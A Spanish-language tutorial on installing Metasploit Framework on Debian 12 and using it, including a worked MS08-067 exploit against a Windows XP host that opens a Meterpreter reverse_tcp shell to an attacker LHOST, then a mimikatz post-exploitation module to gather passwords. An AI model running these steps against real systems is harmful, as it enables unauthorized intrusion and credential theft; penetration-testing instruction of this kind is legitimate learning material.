Manual Completo: Uso de Metasploit Framework
Metasploit Framework es una herramienta de código abierto ampliamente utilizada para realizar pruebas de penetración y actividades relacionadas con la seguridad ofensiva. Este manual detalla desde la instalación hasta el uso básico y avanzado de la herramienta.
Sección 1: Instalación de Metasploit Framework en Debian 12
1.1 Actualización del sistema
Ejecuta los siguientes comandos para actualizar los paquetes del sistema:
sudo apt update && sudo apt upgrade -y
1.2 Instalación de dependencias necesarias
Metasploit requiere varias bibliotecas y herramientas:
sudo apt install -y curl gpg gcc g++ make zlib1g-dev libpq-dev libpcap-dev postgresql postgresql-contrib git ruby-full
1.3 Configuración de PostgreSQL
- Inicia el servicio de PostgreSQL:
sudo systemctl start postgresql sudo systemctl enable postgresql
- Configura un usuario y una base de datos:
sudo -u postgres createuser msf -P sudo -u postgres createdb msf_database -O msf
1.4 Descarga e instalación de Metasploit Framework
- Clona el repositorio oficial:
git clone https://github.com/rapid7/metasploit-framework.git cd metasploit-framework
- Instala Bundler y las dependencias:
gem install bundler bundle install
1.5 Configuración de la base de datos
- Copia la configuración de base de datos predeterminada:
cp config/database.yml.example config/database.yml
- Edita el archivo
config/database.yml
para agregar las credenciales de PostgreSQL:production: adapter: postgresql database: msf_database username: msf password: [tu_contraseña] host: 127.0.0.1 port: 5432
1.6 Ejecución de Metasploit Framework
Inicia Metasploit Framework: ./msfconsole
Verifica la conexión a la base de datos: db_status
Deberías ver: [*] Connected to msf_database
Sección 2: Conceptos Básicos de Metasploit
2.1 Componentes Principales
- Exploit: Código que aprovecha una vulnerabilidad específica.
- Payload: Código que se ejecuta después de explotar la vulnerabilidad.
- Auxiliary Modules: Herramientas para escaneo, denegación de servicio, etc.
- Post-Exploitation Modules: Scripts para mantener acceso o extraer datos.
2.2 Navegación Básica
2.2.1 Comandos esenciales
- Buscar módulos:
search [palabra_clave]
Ejemplo:search smb
- Seleccionar un módulo:
use [ruta_del_módulo]
Ejemplo:use exploit/windows/smb/ms08_067_netapi
- Ver opciones del módulo:
show options
- Configurar opciones:
set [opción] [valor]
Ejemplo:set RHOSTS 192.168.1.10
- Ejecutar el módulo:
run
2.2.2 Gestionar bases de datos
- Agregar hosts:
db_nmap 192.168.1.0/24
- Mostrar hosts almacenados:
hosts
Sección 3: Ejemplo Práctico – Exploitar una Vulnerabilidad
3.1 Escaneo de Red con Nmap
Usa Nmap para identificar dispositivos en la red: nmap -sS -sV 192.168.1.0/24
3.2 Selección de un Exploit
Supongamos que el escaneo revela un sistema Windows XP vulnerable al SMB: use exploit/windows/smb/ms08_067_netapi
3.3 Configuración del Exploit
- Establece el objetivo:
set RHOSTS 192.168.1.10
- Configura el payload:
set PAYLOAD windows/meterpreter/reverse_tcp
- Define el host y puerto del atacante:
set LHOST 192.168.1.100 set LPORT 4444
3.4 Ejecución del Exploit
Ejecuta el exploit: run
3.5 Interacción con la Sesión Meterpreter
Una vez que obtengas acceso:
- Verifica información del sistema:
sysinfo
- Obtén una shell del sistema:
shell
Sección 4: Módulos Auxiliares y Post-Explotación
4.1 Escaneo de Puertos con un Módulo Auxiliar
- Usa el módulo de escaneo de puertos:
use auxiliary/scanner/portscan/tcp
- Configura las opciones:
set RHOSTS 192.168.1.0/24 set THREADS 10
- Ejecuta el módulo:
run
4.2 Recolectar Contraseñas
- Usa un módulo de post-explotación:
use post/windows/gather/credentials/mimikatz
- Configura la sesión:
set SESSION 1
- Ejecuta el módulo:
run
Sección 5: Consejos de Seguridad y Buenas Prácticas
- Usa Metasploit únicamente en entornos autorizados.
- Documenta cuidadosamente los pasos realizados y los hallazgos.
- Asegúrate de no comprometer la privacidad o integridad de sistemas no autorizados.
Conclusión
Metasploit Framework es una herramienta poderosa que permite realizar pruebas de penetración y explorar vulnerabilidades de manera profesional. Con una configuración adecuada y un uso ético, puedes identificar y mitigar riesgos en sistemas de manera efectiva. ¡Practica responsablemente y sigue aprendiendo!